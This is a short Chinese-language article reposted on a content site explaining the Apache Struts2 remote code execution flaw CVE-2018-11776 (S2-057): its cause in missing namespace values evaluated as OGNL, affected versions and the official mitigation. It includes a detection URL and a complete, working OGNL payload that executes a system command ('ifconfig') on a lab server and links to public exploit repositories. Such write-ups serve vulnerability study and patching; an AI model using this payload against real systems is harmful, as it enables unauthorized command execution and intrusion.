Struts2远程代码执行漏洞CVE-2018-11776

360影视 2024-12-02 17:23 4

摘要:Apache Struts框架是一个基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目,Struts基于Model-View-Controller (MVC)的设计模式,可以用来构

Apache Struts框架是一个基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目,Struts基于Model-View-Controller (MVC)的设计模式,可以用来构件复杂的Web应用。它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。Struts框架是Jakarta工程的一部分,由Apache软件基金会管理。 定义struts-actionchaining.xml配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞

Apache Struts 2.3 – Struts 2.3.34Apache Struts 2.5 – Struts 2.5.16

触发此漏洞的前提是:

1,使用了Struts 2.3 - Struts 2.3.34,Struts 2.5 - Struts 2.5.16版本的Struts2的框架2.struts-actionchaining.xml配置文件中的中没有为namespace赋值,并且配置了重定向

测试是否存在漏洞http://172.26.1.151:8080/struts2-showcase/${(111+111)}/actionChain1.action

访问触发OGNL表达式,url变为/222/,存在漏洞。

漏洞利用,执行“ifconfig”

/${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime.exec('ifconfig').getInputStream))).(#w.close)}/actionChain1.action

• 官方提供的临时解决方案:当上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。

https://github.com/Ivan1ee/struts2-057-exp/ https://github.com/brianwrf/S2-057-CVE-2018-11776 https://www.freebuf.com/vuls/182101.html

来源:裴裴科技智慧

相关推荐